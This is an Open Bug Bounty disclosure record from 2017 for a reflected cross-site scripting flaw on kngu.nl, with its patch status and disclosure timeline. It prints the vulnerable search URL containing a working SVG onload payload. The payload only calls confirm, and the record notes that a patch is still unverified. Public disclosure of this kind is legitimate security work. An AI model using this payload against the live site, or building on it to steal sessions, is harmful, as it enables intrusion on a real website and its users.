Lucene search

K
openbugbountyEbOBB:281953
HistoryAug 24, 2017 - 11:50 a.m.

kngu.nl XSS vulnerability

2017-08-2411:50:00
eb
www.openbugbounty.org
7
Vulnerable URL:
http://www.kngu.nl/zoeken?q=%22--!%3E%3CSvg/Onload=confirm`OPENBUGBOUNTY`%3E%22#KNOXSS
Details:
Description Value
Patched: Verification in progress
Latest check for patch: 22.11.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 2134743
VIP website status: No
Check kngu.nl SSL connection: (Grade: C+)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 24 August, 2017 11:50 GMT
Vulnerability existence verified and confirmed 24 August, 2017 14:05 GMT
Generic security notifications sent to website owner 24 August, 2017 14:05 GMT
Notification sent to subscribers (without technical details) 24 August, 2017 18:17 GMT
Vulnerability details disclosed by researcher 22 November, 2017 14:23 GMT